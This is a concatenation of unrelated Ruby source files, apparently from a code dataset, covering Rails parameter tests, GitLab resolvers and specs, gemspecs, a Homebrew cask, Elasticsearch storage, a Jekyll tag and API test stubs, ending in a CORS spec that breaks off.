{ "book" => { "authors_attributes" => { "0" => { "name" => "William Shakespeare" }, "1" => { "name" => "Unattributed Assistant" }, "2" => {} } } },
permitted.to_h
)
assert_filtered_out permitted[:book][:authors_attributes]["0"], :age_of_death
end
test "nested params with non_numeric keys" do
params = ActionController::Parameters.new(
book: {
authors_attributes: {
'0': { name: "William Shakespeare", age_of_death: "52" },
'1': { name: "Unattributed Assistant" },
'2': "Not a hash",
'new_record': { name: "Some name" }
}
})
permitted = params.permit book: { authors_attributes: [ :name ] }
assert_not_nil permitted[:book][:authors_attributes]["0"]
assert_not_nil permitted[:book][:authors_attributes]["1"]
assert_nil permitted[:book][:authors_attributes]["2"]
assert_nil permitted[:book][:authors_attributes]["new_record"]
assert_equal "William Shakespeare", permitted[:book][:authors_attributes]["0"][:name]
assert_equal "Unattributed Assistant", permitted[:book][:authors_attributes]["1"][:name]
assert_equal(
{ "book" => { "authors_attributes" => { "0" => { "name" => "William Shakespeare" }, "1" => { "name" => "Unattributed Assistant" } } } },
permitted.to_h
)
end
test "nested params with negative numeric keys" do
params = ActionController::Parameters.new(
book: {
authors_attributes: {
'-1': { name: "William Shakespeare", age_of_death: "52" },
'-2': { name: "Unattributed Assistant" }
}
})
permitted = params.permit book: { authors_attributes: [:name] }
assert_not_nil permitted[:book][:authors_attributes]["-1"]
assert_not_nil permitted[:book][:authors_attributes]["-2"]
assert_equal "William Shakespeare", permitted[:book][:authors_attributes]["-1"][:name]
assert_equal "Unattributed Assistant", permitted[:book][:authors_attributes]["-2"][:name]
assert_filtered_out permitted[:book][:authors_attributes]["-1"], :age_of_death
end
test "nested number as key" do
params = ActionController::Parameters.new(
product: {
properties: {
"0" => "prop0",
"1" => "prop1"
}
})
params = params.require(:product).permit(properties: ["0"])
assert_not_nil params[:properties]["0"]
assert_nil params[:properties]["1"]
assert_equal "prop0", params[:properties]["0"]
end
end
| 35.345972 | 153 | 0.632341 |
08517fe0df761e24798bd2ce8a88b165e3e6b1e7 | 413 | class ProjectSerializer < ActiveModel::Serializer
attributes :id, :name
has_many :notices
def notices
release = object.releases.order(date: :desc).first
if release
release.notices
end
end
class NoticeSerializer < ActiveModel::Serializer
attributes :id, :heading, :body, :target_element_selector
def body
Kramdown::Document.new(object.body).to_html
end
end
end
| 18.772727 | 61 | 0.707022 |
38a4539f34ab0e566c5ad9528aeddc823da3c2aa | 2,297 | # frozen_string_literal: true
module Resolvers
class TodoResolver < BaseResolver
type Types::TodoType, null: true
alias_method :user, :object
argument :action, [Types::TodoActionEnum],
required: false,
description: 'The action to be filtered'
argument :author_id, [GraphQL::ID_TYPE],
required: false,
description: 'The ID of an author'
argument :project_id, [GraphQL::ID_TYPE],
required: false,
description: 'The ID of a project'
argument :group_id, [GraphQL::ID_TYPE],
required: false,
description: 'The ID of a group'
argument :state, [Types::TodoStateEnum],
required: false,
description: 'The state of the todo'
argument :type, [Types::TodoTargetEnum],
required: false,
description: 'The type of the todo'
def resolve(**args)
return Todo.none if user != context[:current_user]
TodosFinder.new(user, todo_finder_params(args)).execute
end
private
# TODO: Support multiple queries for e.g. state and type on TodosFinder:
#
# https://gitlab.com/gitlab-org/gitlab/merge_requests/18487
# https://gitlab.com/gitlab-org/gitlab/merge_requests/18518
#
# As soon as these MR's are merged, we can refactor this to query by
# multiple contents.
#
def todo_finder_params(args)
{
state: first_state(args),
type: first_type(args),
group_id: first_group_id(args),
author_id: first_author_id(args),
action_id: first_action(args),
project_id: first_project(args)
}
end
def first_project(args)
first_query_field(args, :project_id)
end
def first_action(args)
first_query_field(args, :action)
end
def first_author_id(args)
first_query_field(args, :author_id)
end
def first_group_id(args)
first_query_field(args, :group_id)
end
def first_state(args)
first_query_field(args, :state)
end
def first_type(args)
first_query_field(args, :type)
end
def first_query_field(query, field)
return unless query.key?(field)
query[field].first if query[field].respond_to?(:first)
end
end
end
| 25.241758 | 76 | 0.633435 |
6208e5096b2dfdaad5dd410322f8970ad7658b1e | 1,249 | require 'hpricot'
module Relevance
module Tarantula
class AttackHandler
include ERB::Util
def attacks
Relevance::Tarantula::FormSubmission.attacks.select(&:output)
end
def handle(result)
return unless attacks.size > 0
regexp = '(' + attacks.map {|a| Regexp.escape a.output}.join('|') + ')'
response = result.response
return unless response.html?
if n = (response.body =~ /#{regexp}/)
error_result = result.dup
error_result.success = false
error_result.description = "XSS error found, match was: #{h($1)}"
error_result.data = <<-STR
########################################################################
# Text around unescaped string: #{$1}
########################################################################
#{response.body[[0, n - 200].max , 400]}
########################################################################
# Attack information:
########################################################################
#{attacks.select {|a| a.output == $1}[0].to_yaml}
STR
error_result
end
end
end
end
end
| 28.386364 | 80 | 0.417934 |
26d312f35b60d0fc53a4e31ee345cf8dceb1a7e5 | 1,344 | # frozen_string_literal: true
lib = File.expand_path('lib', __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'active_job/uniqueness/version'
Gem::Specification.new do |spec|
spec.name = 'activejob-uniqueness'
spec.version = ActiveJob::Uniqueness::VERSION
spec.authors = ['Rustam Sharshenov']
spec.email = ['[email protected]']
spec.summary = 'Ensure uniqueness of your ActiveJob jobs'
spec.description = 'Ensure uniqueness of your ActiveJob jobs'
spec.homepage = 'https://github.com/veeqo/activejob-uniqueness'
spec.license = 'MIT'
if spec.respond_to?(:metadata)
spec.metadata['homepage_uri'] = spec.homepage
spec.metadata['source_code_uri'] = spec.homepage
spec.metadata['changelog_uri'] = 'https://github.com/veeqo/activejob-uniqueness/blob/main/CHANGELOG.md'
end
spec.files = Dir['CHANGELOG.md', 'LICENSE.txt', 'README.md', 'lib/**/*']
spec.require_paths = ['lib']
spec.required_ruby_version = '>= 2.4'
spec.add_dependency 'activejob', '>= 4.2', '< 7'
spec.add_dependency 'redlock', '>= 1.2', '< 2'
spec.add_development_dependency 'appraisal', '~> 2.3.0'
spec.add_development_dependency 'bundler', '>= 2.0'
spec.add_development_dependency 'pry-byebug'
spec.add_development_dependency 'rspec', '~> 3.0'
end
| 35.368421 | 107 | 0.690476 |
62d5aeab0e58e336ecebe73def351636c447d854 | 794 | require 'ffi_dry'
module FFI
module PCap
extend FFI::Library
ffi_lib ['pcap', 'libpcap.so.1', 'wpcap']
end
Pcap = PCap
end
require 'ffi/pcap/crt'
require 'ffi/pcap/exceptions'
# FFI typedefs, pointer wrappers, and struct
require 'ffi/pcap/typedefs'
require 'ffi/pcap/bsd'
require 'ffi/pcap/addr'
require 'ffi/pcap/interface'
require 'ffi/pcap/file_header'
require 'ffi/pcap/time_val'
require 'ffi/pcap/packet_header'
require 'ffi/pcap/stat'
require 'ffi/pcap/bpf_instruction'
require 'ffi/pcap/bpf_program'
require 'ffi/pcap/dumper'
# Ruby FFI function bindings, sugar, and misc wrappers
require 'ffi/pcap/error_buffer'
require 'ffi/pcap/pcap'
require 'ffi/pcap/data_link'
require 'ffi/pcap/packet'
require 'ffi/pcap/live'
require 'ffi/pcap/offline'
require 'ffi/pcap/dead'
| 21.459459 | 54 | 0.753149 |
bf6331dd9909c41a7217cb89b8a8ee2481369816 | 2,583 | require 'rails_helper'
feature "Accounts" do
scenario "Creating an account" do
visit subscribem.root_path
click_link "Account Sign Up"
fill_in "Name", with: "Test"
fill_in "Subdomain", with: "test"
fill_in "Email", with: "[email protected]"
fill_in "Password", with: "password"
fill_in "Password confirmation", with: "password"
click_button "Create Account"
success_message = "Your account has been successfully created."
expect(page).to have_content(success_message)
expect(page).to have_content("Signed in as: [email protected]")
expect(page.current_url).to eq('http://test.example.com/')
end
scenario 'Ensure subdomain uniqueness' do
Subscribem::Account.create(subdomain: 'test', name: 'Test')
visit subscribem.root_path
click_link "Account Sign Up"
fill_in "Name", with: "Test"
fill_in "Subdomain", with: "test"
fill_in "Email", with: "[email protected]"
fill_in "Password", with: "password"
fill_in "Password confirmation", with: "password"
click_button "Create Account"
expect(page.current_url).to eq('http://www.example.com/accounts')
expect(page).to have_content('Sorry, your account could not be created.')
expect(page).to have_content('Subdomain has already been taken')
end
scenario 'Subdomain with restricted name' do
visit subscribem.root_path
click_link "Account Sign Up"
fill_in "Name", with: "Test"
fill_in "Subdomain", with: "admin"
fill_in "Email", with: "[email protected]"
fill_in "Password", with: "password"
fill_in "Password confirmation", with: "password"
click_button "Create Account"
expect(page.current_url).to eq('http://www.example.com/accounts')
expect(page).to have_content('Sorry, your account could not be created.')
expect(page).to have_content('Subdomain is not allowed. Please choose another subdomain.')
end
scenario 'Subdomain with invalid name' do
visit subscribem.root_path
click_link "Account Sign Up"
fill_in "Name", with: "Test"
fill_in "Subdomain", with: "<admin>"
fill_in "Email", with: "[email protected]"
fill_in "Password", with: "password"
fill_in "Password confirmation", with: "password"
click_button "Create Account"
expect(page.current_url).to eq('http://www.example.com/accounts')
expect(page).to have_content('Sorry, your account could not be created.')
expect(page).to have_content('Subdomain is not allowed. Please choose another subdomain.')
end
end
| 36.9 | 94 | 0.6988 |
0854fe30aed21f2de35b487ce9595f3c308040fb | 929 | cask "webull" do
dl_arch, livecheck_arch = Hardware::CPU.intel? ? ["us", "qt_mac_global"] : ["usm1", "qt_m1_global"]
version "5.10.5"
if Hardware::CPU.intel?
sha256 "ab818bc24ce34d511584e66253dc8fd5f1e74829c2e13320194753ac881f8300"
else
sha256 "e777371e5a4207ca45d74939b5d148d8146f8ff53b53961f71dc9468d8ac0e16"
end
url "https://u1sweb.webullfinance.com/us/desktop/Webull%20Desktop%20#{version}_#{dl_arch}.dmg",
verified: "u1sweb.webullfinance.com/us/desktop/"
name "Webull"
desc "Desktop client for Webull Financial LLC"
homepage "https://webull.com/"
livecheck do
url "https://infoapi.webullfintech.com/api/operation/appver/last?platform=#{livecheck_arch}&osv=10.15"
strategy :page_match do |page|
JSON.parse(page)["latestAppVersion"]
end
end
depends_on macos: ">= :sierra"
app "Webull Desktop.app"
zap trash: "~/Library/Application Support/Webull Desktop"
end
| 29.967742 | 106 | 0.73197 |
1ae069e8b05f1c99fac6cf649caec20e28b00bdb | 1,518 | require "rails_helper"
RSpec.describe ScheduledJob do
it "re-enqueues the job to run in 15 minutes from now if wait until is longer that 15 minutes" do
travel_to(Time.zone.local(2018, 1, 1)) do
job_args = ["AFakeJob", 1, foo: "bar", wait_until: 1.hour.from_now.to_f]
ScheduledJob.perform_now(*job_args)
expect(
ScheduledJob
).to have_been_enqueued.with(*job_args).at(Time.zone.local(2018, 1, 1, 0, 15))
end
end
it "re-enqueues the job to run in 14 minutes from now" do
travel_to(Time.zone.local(2018, 1, 1)) do
job_args = ["AFakeJob", 1, foo: "bar", wait_until: 14.minutes.from_now.to_f]
ScheduledJob.perform_now(*job_args)
expect(
ScheduledJob
).to have_been_enqueued.with(*job_args).at(Time.zone.local(2018, 1, 1, 0, 14))
end
end
it "runs the job immediately when the scheduled_at is in the past" do
stub_const("ScheduledJob::FakeJob", Class.new(ApplicationJob))
ScheduledJob.perform_now("ScheduledJob::FakeJob", 1, foo: "bar", wait_until: 1.second.ago.to_f)
expect(ScheduledJob).not_to have_been_enqueued
expect(ScheduledJob::FakeJob).to have_been_enqueued.with(1, foo: "bar")
end
it "only passes through the original job args to the executing job" do
stub_const("ScheduledJob::FakeJob", Class.new(ApplicationJob))
ScheduledJob.perform_now("ScheduledJob::FakeJob", 1, nil, 2, wait_until: 1.second.ago.to_f)
expect(ScheduledJob::FakeJob).to have_been_enqueued.with(1, nil, 2)
end
end
| 37.02439 | 99 | 0.703557 |
e930ccb4f3d7bc2c6b052b09747f980aeacb53a9 | 3,025 | # encoding: UTF-8
require 'base64'
require 'multi_json'
require 'polipus'
require 'polipus-elasticsearch'
module Polipus
module Storage
class ElasticSearchStore < Base
BINARY_FIELDS = %w(body headers user_data)
DEFAULT_INDEX = Polipus::ElasticSearch::Page
attr_accessor :index, :index_name, :except, :compress, :semaphore, :refresh
def initialize(client, options = {})
@index = options[:index] || options['index'] || DEFAULT_INDEX
@index_name = options[:index_name] || options['index_name']
@except = options[:except] || options['except'] || []
@compress = options[:compress] || options['compress']
@semaphore = Mutex.new
@refresh = options[:refresh] || options['refresh'] || true
index.setup(client, index_name)
index.create_index!(index_name) unless index.index_exists?
end
def add(page)
semaphore.synchronize do
obj = page.to_hash
Array(except).each { |field| obj.delete(field.to_s) }
BINARY_FIELDS.each do |field|
next if obj[field.to_s].nil? || obj[field.to_s].empty?
obj[field.to_s] = MultiJson.encode(obj[field.to_s]) if field.to_s == 'user_data'
obj[field.to_s] = Base64.encode64(obj[field.to_s])
end
obj['id'] = uuid(page)
obj['fetched_at'] = obj['fetched_at'].to_i
begin
index.store(obj, refresh)
rescue Elasticsearch::Transport::Transport::Errors::Conflict => ex
# you're trying to store an old version.
end
end
end
def clear
index.clear_index! if index.index_exists?
end
def count
index.count
end
def drop
index.delete_index! if index.index_exists?
end
def each
# This method is implemented only for testing purposes
response = index.client.search(
index: index_name,
body: {
query: { match_all: {} },
from: 0,
size: 25
}
)
response['hits']['hits'].each do |data|
page = load_page(data['_source'])
yield uuid(page), page
end
end
def exists?(page)
@semaphore.synchronize do
index.exists?(uuid(page))
end
end
def get(page)
@semaphore.synchronize do
load_page(index.get(uuid(page)))
end
end
def remove(page)
@semaphore.synchronize do
index.remove(uuid(page), refresh)
end
end
def load_page(data)
return nil if data.nil?
BINARY_FIELDS.each do |field|
next if data[field.to_s].nil? || data[field.to_s].empty?
data[field.to_s] = Base64.decode64(data[field.to_s])
data[field.to_s] = MultiJson.decode(data[field.to_s]) if field.to_s == 'user_data'
end
page = Page.from_hash(data)
page.fetched_at ||= 0
page
end
end
end
end
| 28.809524 | 92 | 0.574876 |
3969b5cbd0ed18b6bd2406995c47b44d2f760d5c | 1,100 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'guard/autoupload/version'
Gem::Specification.new do |spec|
spec.name = "guard-autoupload"
spec.version = Guard::AutouploadVersion::VERSION
spec.authors = ["Jyrki Lilja"]
spec.email = ["[email protected]"]
spec.summary = %q{Autoupload plugin - uploads local changes to remote host.}
spec.description = %q{Uses either SFTP or FTP.}
spec.homepage = "https://github.com/jyrkij/guard-autoupload"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0")
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_runtime_dependency 'guard', '~> 2.6'
spec.add_runtime_dependency 'net-sftp', '~> 2.1'
spec.add_runtime_dependency 'net-ssh-simple', '~> 1.6'
spec.add_development_dependency "bundler", "~> 1.5"
spec.add_development_dependency "rake", "~> 10.3"
end
| 39.285714 | 84 | 0.66 |
e84b07ec2ef2ba4661b32d96ad47263d95dce788 | 9,631 | require 'spec_helper'
describe 'Dropdown label', js: true do
include FilteredSearchHelpers
let(:project) { create(:project) }
let(:user) { create(:user) }
let(:filtered_search) { find('.filtered-search') }
let(:js_dropdown_label) { '#js-dropdown-label' }
let(:filter_dropdown) { find("#{js_dropdown_label} .filter-dropdown") }
shared_context 'with labels' do
let!(:bug_label) { create(:label, project: project, title: 'bug-label') }
let!(:uppercase_label) { create(:label, project: project, title: 'BUG-LABEL') }
let!(:two_words_label) { create(:label, project: project, title: 'High Priority') }
let!(:wont_fix_label) { create(:label, project: project, title: 'Won"t Fix') }
let!(:wont_fix_single_label) { create(:label, project: project, title: 'Won\'t Fix') }
let!(:special_label) { create(:label, project: project, title: '!@#$%^+&*()') }
let!(:long_label) { create(:label, project: project, title: 'this is a very long title this is a very long title this is a very long title this is a very long title this is a very long title') }
end
def search_for_label(label)
init_label_search
filtered_search.send_keys(label)
end
def click_label(text)
filter_dropdown.find('.filter-dropdown-item', text: text).click
end
def clear_search_field
find('.filtered-search-box .clear-search').click
end
before do
project.add_master(user)
sign_in(user)
create(:issue, project: project)
visit project_issues_path(project)
end
describe 'keyboard navigation' do
it 'selects label' do
bug_label = create(:label, project: project, title: 'bug-label')
init_label_search
filtered_search.native.send_keys(:down, :down, :enter)
expect_tokens([label_token(bug_label.title)])
expect_filtered_search_input_empty
end
end
describe 'behavior' do
it 'opens when the search bar has label:' do
filtered_search.set('label:')
expect(page).to have_css(js_dropdown_label)
end
it 'closes when the search bar is unfocused' do
find('body').click
expect(page).not_to have_css(js_dropdown_label)
end
it 'shows loading indicator when opened and hides it when loaded' do
filtered_search.set('label:')
expect(find(js_dropdown_label)).to have_css('.filter-dropdown-loading')
expect(find(js_dropdown_label)).not_to have_css('.filter-dropdown-loading')
end
it 'loads all the labels when opened' do
bug_label = create(:label, project: project, title: 'bug-label')
filtered_search.set('label:')
expect(filter_dropdown).to have_content(bug_label.title)
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
end
end
describe 'filtering' do
include_context 'with labels'
before do
init_label_search
end
it 'filters by case-insensitive name with or without symbol' do
filtered_search.send_keys('b')
expect(filter_dropdown.find('.filter-dropdown-item', text: bug_label.title)).to be_visible
expect(filter_dropdown.find('.filter-dropdown-item', text: uppercase_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 2)
clear_search_field
init_label_search
filtered_search.send_keys('~bu')
expect(filter_dropdown.find('.filter-dropdown-item', text: bug_label.title)).to be_visible
expect(filter_dropdown.find('.filter-dropdown-item', text: uppercase_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 2)
end
it 'filters by multiple words with or without symbol' do
filtered_search.send_keys('Hig')
expect(filter_dropdown.find('.filter-dropdown-item', text: two_words_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
clear_search_field
init_label_search
filtered_search.send_keys('~Hig')
expect(filter_dropdown.find('.filter-dropdown-item', text: two_words_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
end
it 'filters by multiple words containing single quotes with or without symbol' do
filtered_search.send_keys('won\'t')
expect(filter_dropdown.find('.filter-dropdown-item', text: wont_fix_single_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
clear_search_field
init_label_search
filtered_search.send_keys('~won\'t')
expect(filter_dropdown.find('.filter-dropdown-item', text: wont_fix_single_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
end
it 'filters by multiple words containing double quotes with or without symbol' do
filtered_search.send_keys('won"t')
expect(filter_dropdown.find('.filter-dropdown-item', text: wont_fix_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
clear_search_field
init_label_search
filtered_search.send_keys('~won"t')
expect(filter_dropdown.find('.filter-dropdown-item', text: wont_fix_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
end
it 'filters by special characters with or without symbol' do
filtered_search.send_keys('^+')
expect(filter_dropdown.find('.filter-dropdown-item', text: special_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
clear_search_field
init_label_search
filtered_search.send_keys('~^+')
expect(filter_dropdown.find('.filter-dropdown-item', text: special_label.title)).to be_visible
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
end
end
describe 'selecting from dropdown' do
include_context 'with labels'
before do
init_label_search
end
it 'fills in the label name when the label has not been filled' do
click_label(bug_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token(bug_label.title)])
expect_filtered_search_input_empty
end
it 'fills in the label name when the label is partially filled' do
filtered_search.send_keys('bu')
click_label(bug_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token(bug_label.title)])
expect_filtered_search_input_empty
end
it 'fills in the label name that contains multiple words' do
click_label(two_words_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token("\"#{two_words_label.title}\"")])
expect_filtered_search_input_empty
end
it 'fills in the label name that contains multiple words and is very long' do
click_label(long_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token("\"#{long_label.title}\"")])
expect_filtered_search_input_empty
end
it 'fills in the label name that contains double quotes' do
click_label(wont_fix_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token("'#{wont_fix_label.title}'")])
expect_filtered_search_input_empty
end
it 'fills in the label name with the correct capitalization' do
click_label(uppercase_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token(uppercase_label.title)])
expect_filtered_search_input_empty
end
it 'fills in the label name with special characters' do
click_label(special_label.title)
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token(special_label.title)])
expect_filtered_search_input_empty
end
it 'selects `no label`' do
find("#{js_dropdown_label} .filter-dropdown-item", text: 'No Label').click
expect(page).not_to have_css(js_dropdown_label)
expect_tokens([label_token('none', false)])
expect_filtered_search_input_empty
end
end
describe 'input has existing content' do
it 'opens label dropdown with existing search term' do
filtered_search.set('searchTerm label:')
expect(page).to have_css(js_dropdown_label)
end
it 'opens label dropdown with existing author' do
filtered_search.set('author:@person label:')
expect(page).to have_css(js_dropdown_label)
end
it 'opens label dropdown with existing assignee' do
filtered_search.set('assignee:@person label:')
expect(page).to have_css(js_dropdown_label)
end
it 'opens label dropdown with existing label' do
filtered_search.set('label:~urgent label:')
expect(page).to have_css(js_dropdown_label)
end
it 'opens label dropdown with existing milestone' do
filtered_search.set('milestone:%v2.0 label:')
expect(page).to have_css(js_dropdown_label)
end
end
describe 'caching requests' do
it 'caches requests after the first load' do
create(:label, project: project, title: 'bug-label')
init_label_search
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
create(:label, project: project)
clear_search_field
init_label_search
expect(filter_dropdown).to have_selector('.filter-dropdown-item', count: 1)
end
end
end
| 33.210345 | 198 | 0.711349 |
33eb4e1c6ed8607dde4b2763d40aecdd81955358 | 1,768 | module Jekyll
module SnippetCut
class SnippetCutTag < Liquid::Block
@@DEFAULTS = {
:name => 'myfile.yaml',
:url => '/asdasda/myfile.yaml',
:limited => false
}
def self.DEFAULTS
return @@DEFAULTS
end
def initialize(tag_name, markup, tokens)
super
@config = {}
override_config(@@DEFAULTS)
params = markup.scan /([a-z]+)\=\"(.+?)\"/
if params.size > 0
config = {}
params.each do |param|
config[param[0].to_sym] = param[1]
end
override_config(config)
end
end
def override_config(config)
config.each{ |key,value| @config[key] = value }
end
def render(context)
content = super
rendered_content = Jekyll::Converters::Markdown::KramdownParser.new(Jekyll.configuration()).convert(content)
%Q(
<div class="snippetcut#{@config[:limited] ? ' snippetcut_limited' : ''}" data-snippetcut>
<div class="snippetcut__title">
#{if (@config[:url]!='#') then "<a href=\""+@config[:url]+"\" target=\"_blank\" class=\"snippetcut__title-name\" data-snippetcut-name>" else "<span class=\"snippetcut__title-name-text\">" end}
#{@config[:name]}
#{if (@config[:url]!='#') then "</a>" else "</span>" end}
<a href="javascript:void(0)" class="snippetcut__title-btn" data-snippetcut-btn-name>копировать имя</a>
<a href="javascript:void(0)" class="snippetcut__title-btn" data-snippetcut-btn-text>копировать текст</a>
</div>
#{rendered_content}
<div class="snippetcut__raw" data-snippetcut-text>#{content}</div>
</div>
)
end
end
end
end
Liquid::Template.register_tag('snippetcut', Jekyll::SnippetCut::SnippetCutTag)
| 30.482759 | 194 | 0.598982 |
ffa4f389ca69b94aaf0faa722d4cfb3bec62251f | 6,623 | # frozen_string_literal: true
RSpec.describe Football::Butler::Scorers do
before do
stubs_scorers
end
after do
Football::Butler::Configuration.reset
Football::Butler::Configuration.reconfigure(api_token: 'my_dummy_token')
end
describe 'when by_competition' do
context 'success' do
it 'returns scorers' do
response = described_class.by_competition(id: 2002)
expect(response).to be_a(Array)
expect(response).to match_array(response_scorers)
end
end
context 'error' do
it 'returns scorers' do
response = described_class.by_competition(id: 1)
expect(response).to be_a(Hash)
expect(response['message']).to eq("The resource you are looking for does not exist.")
end
end
end
end
def stubs_scorers
stub_request(:get, "#{Football::Butler::Configuration.api_endpoint}/competitions/2002/scorers")
.to_return(status: 200, body: get_mocked_response('scorers.json', :football_data))
stub_request(:get, "#{Football::Butler::Configuration.api_endpoint}/competitions/1/scorers")
.to_return(status: 200, body: get_mocked_response('resource_missing.json', :football_data))
end
def response_scorers
[
{
"player": {
"id": 371,
"name": "Robert Lewandowski",
"firstName": "Robert",
"lastName": "",
"dateOfBirth": "1988-08-21",
"countryOfBirth": "Poland",
"nationality": "Poland",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2021-03-05T13:51:30Z"
}.with_indifferent_access,
"team": {
"id": 5,
"name": "FC Bayern München"
}.with_indifferent_access,
"numberOfGoals": 41
}.with_indifferent_access,
{
"player": {
"id": 1760,
"name": "André Silva",
"firstName": "André Miguel",
"lastName": "",
"dateOfBirth": "1995-11-06",
"countryOfBirth": "Portugal",
"nationality": "Portugal",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2021-05-14T16:12:30Z"
}.with_indifferent_access,
"team": {
"id": 19,
"name": "Eintracht Frankfurt"
}.with_indifferent_access,
"numberOfGoals": 28
}.with_indifferent_access,
{
"player": {
"id": 38101,
"name": "Erling Haaland",
"firstName": "Erling Braut",
"lastName": "",
"dateOfBirth": "2000-07-21",
"countryOfBirth": "England",
"nationality": "Norway",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2020-09-07T18:47:42Z"
}.with_indifferent_access,
"team": {
"id": 4,
"name": "Borussia Dortmund"
}.with_indifferent_access,
"numberOfGoals": 27
}.with_indifferent_access,
{
"player": {
"id": 318,
"name": "Andrej Kramarić",
"firstName": "Andrej",
"lastName": "",
"dateOfBirth": "1991-06-19",
"countryOfBirth": "Croatia",
"nationality": "Croatia",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2020-11-26T02:04:12Z"
}.with_indifferent_access,
"team": {
"id": 2,
"name": "TSG 1899 Hoffenheim"
}.with_indifferent_access,
"numberOfGoals": 20
}.with_indifferent_access,
{
"player": {
"id": 7697,
"name": "Wout Weghorst",
"firstName": "Wout",
"lastName": "",
"dateOfBirth": "1992-08-07",
"countryOfBirth": "Netherlands",
"nationality": "Netherlands",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2020-09-07T18:47:50Z"
}.with_indifferent_access,
"team": {
"id": 11,
"name": "VfL Wolfsburg"
}.with_indifferent_access,
"numberOfGoals": 20
}.with_indifferent_access,
{
"player": {
"id": 10761,
"name": "Saša Kalajdžić",
"firstName": "Saša",
"lastName": "",
"dateOfBirth": "1997-07-07",
"countryOfBirth": "Austria",
"nationality": "Austria",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2020-10-22T02:10:57Z"
}.with_indifferent_access,
"team": {
"id": 10,
"name": "VfB Stuttgart"
}.with_indifferent_access,
"numberOfGoals": 16
}.with_indifferent_access,
{
"player": {
"id": 3185,
"name": "Lars Stindl",
"firstName": "Lars",
"lastName": "",
"dateOfBirth": "1988-08-26",
"countryOfBirth": "Germany",
"nationality": "Germany",
"position": "Midfielder",
"shirtNumber": "",
"lastUpdated": "2021-01-20T15:20:20Z"
}.with_indifferent_access,
"team": {
"id": 18,
"name": "Borussia Mönchengladbach"
}.with_indifferent_access,
"numberOfGoals": 14
}.with_indifferent_access,
{
"player": {
"id": 370,
"name": "Thomas Müller",
"firstName": "Thomas",
"lastName": "",
"dateOfBirth": "1989-09-13",
"countryOfBirth": "Germany",
"nationality": "Germany",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2021-03-05T13:51:30Z"
}.with_indifferent_access,
"team": {
"id": 5,
"name": "FC Bayern München"
}.with_indifferent_access,
"numberOfGoals": 11
}.with_indifferent_access,
{
"player": {
"id": 82354,
"name": "Silas Wamangituka",
"firstName": "Silas Fundu",
"lastName": "",
"dateOfBirth": "1999-10-06",
"countryOfBirth": "Congo DR",
"nationality": "Congo DR",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2020-09-07T18:47:49Z"
}.with_indifferent_access,
"team": {
"id": 10,
"name": "VfB Stuttgart"
}.with_indifferent_access,
"numberOfGoals": 11
}.with_indifferent_access,
{
"player": {
"id": 9463,
"name": "Max Kruse",
"firstName": "Max",
"lastName": "",
"dateOfBirth": "1988-03-19",
"countryOfBirth": "Germany",
"nationality": "Germany",
"position": "Attacker",
"shirtNumber": "",
"lastUpdated": "2020-09-07T18:48:06Z"
}.with_indifferent_access,
"team": {
"id": 28,
"name": "1. FC Union Berlin"
}.with_indifferent_access,
"numberOfGoals": 11
}.with_indifferent_access
]
end
| 28.063559 | 97 | 0.547939 |
ed10e92618adedc888ea3e3453e9e3331e647f43 | 434 | class CreateContacts < ActiveRecord::Migration[5.2]
def change
create_table :contacts do |t|
t.integer :account_id
t.integer :company_id
t.string :first_name
t.string :last_name
t.string :job_title
t.string :email
t.string :phone
t.string :mobile
t.string :fax
t.string :comment
t.boolean :active, default: true
t.timestamps null: false
end
end
end
| 21.7 | 51 | 0.631336 |
ed74776f5c28c20e2af53dfb0d84815881d73dd2 | 5,398 | # frozen_string_literal: true
describe 'CORS', type: :request do
include_context 'doorkeeper authentication'
let(:ranger_url) { 'https://ranger.barong.io' }
let(:frontend_url) { 'https://frontend.barong.io' }
let(:origin_header) { { 'Origin' => ranger_url } }
context 'when API_CORS_ORIGINS is not set' do
it 'does not set cors origins' do
ENV['API_CORS_ORIGINS'] = nil
get '/api/v1/accounts/me', headers: auth_header.merge(origin_header)
expect(response).to be_success
expect(response.headers['Access-Control-Allow-Origin']).to eq(nil)
expect(response.headers['Access-Control-Allow-Credentials']).to eq(nil)
expect(response.headers['Access-Control-Allow-Methods']).to eq(nil)
expect(response.headers['Access-Control-Allow-Headers']).to eq(nil)
end
it 'set cors origins if API_CORS_ALLOW_INSECURE_ORIGINS is set' do
ENV['API_CORS_ORIGINS'] = nil
